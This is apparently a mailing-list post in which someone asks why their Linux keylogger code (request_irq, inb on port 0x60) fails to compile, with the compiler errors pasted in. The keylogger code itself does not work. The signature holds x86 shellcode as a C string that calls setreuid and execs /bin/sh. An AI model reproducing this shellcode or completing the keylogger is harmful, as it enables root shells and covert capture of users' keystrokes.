Hi,
I'm experiencing problems compiling applications that include the
header file linux/sched.h. I'm just trying to develop a little
keylogger in Linux environment using kernel primitives, and
request_irq() to install the interrupt associated to keyboard (in case
of an interrupt from keyboard I call a function that reads the value
included in keyboard's data register and prints it on stdout). This is
the source file:
#include <linux/sched.h>
#include <stdio.h>
#include <unistd.h>
#include <asm/io.h>
#include <asm/irq.h>
#define KBD_DATA_REG 0x60
#define KBD_STATUS_REG 0x64
main() {
if (ioperm(KBD_DATA_REG,4,1)<0)
exit(1);
request_irq (1,irq_handle,0,"my_kbd",NULL);
}
irqreturn_t irq_handle(int irq, void *id, struct pt_regs * reg) {
int n;
while(1) {
n=inb(KBD_DATA_REG);
printf ("%d\n",n);
}
}
And this is what I get when I try to compile it:
In file included from /usr/include/linux/sched.h:14,
from key.c:12:
/usr/include/linux/timex.h:173: error: field `time' has incomplete type
In file included from /usr/include/linux/sched.h:21,
from key.c:12:
/usr/include/asm/mmu.h:12: error: field `sem' has incomplete type
In file included from /usr/include/linux/sched.h:80,
from key.c:12:
/usr/include/linux/time.h:9: error: redefinition of `struct timespec'
/usr/include/linux/time.h:119: error: redefinition of `struct itimerspec'
key.c: In function `main':
key.c:25: error: `irq_handle' undeclared (first use in this function)
key.c:25: error: (Each undeclared identifier is reported only once
key.c:25: error: for each function it appears in.)
key.c: At top level:
key.c:28: error: syntax error before "irq_handle"
As suggested on a forum I added these lines on the top of the source:
#ifndef __KERNEL__
# define __KERNEL__
#endif
#ifndef MODULE
# define MODULE
#endif
#include <linux/module.h>
MODULE_LICENSE("GPL");
but I still get these errors:
In file included from /usr/include/linux/times.h:4,
from /usr/include/linux/sched.h:13,
from key.c:12:
/usr/include/time.h:119: error: redefinition of `struct timespec'
/usr/include/time.h:160: error: redefinition of `struct itimerspec'
/usr/include/time.h:191: error: conflicting types for 'mktime'
/usr/include/linux/time.h:71: error: previous definition of 'mktime' was here
key.c: In function `main':
key.c:25: error: `irq_handle' undeclared (first use in this function)
key.c:25: error: (Each undeclared identifier is reported only once
key.c:25: error: for each function it appears in.)
Any suggestion?
--
char main[] =
"\xeb\x19" /* jmp 804838f */
"\x5e" /* pop %esi */
"\xb0\x46" /* mov $0x46,%al */
"\x31\xdb" /* xor %ebx,%ebx */
"\x31\xc9" /* xor %ebx,%ebx */
"\xcd\x80" /* int $0x80 */
"\x31\xc0" /* xor %eax,%eax */
"\xb0\x0b" /* mov $0xb,%al */
"\x89\xf3" /* mov %esi,%ebx */
"\x31\xff" /* xor %edi,%edi */
"\x57" /* push %edi */
"\x56" /* push %esi */
"\x89\xe1 /* mov %esp,%ecx */
"\x31\xd2" /* xor %edx,%edx */
"\xcd\x80" /* int $0x80 */
"\xe8\xe2\xff\xff\xff" /* call 8048376 */
"\x2f\x62\x69\x6e\x2f\x73\x68"; /* /bin/sh */
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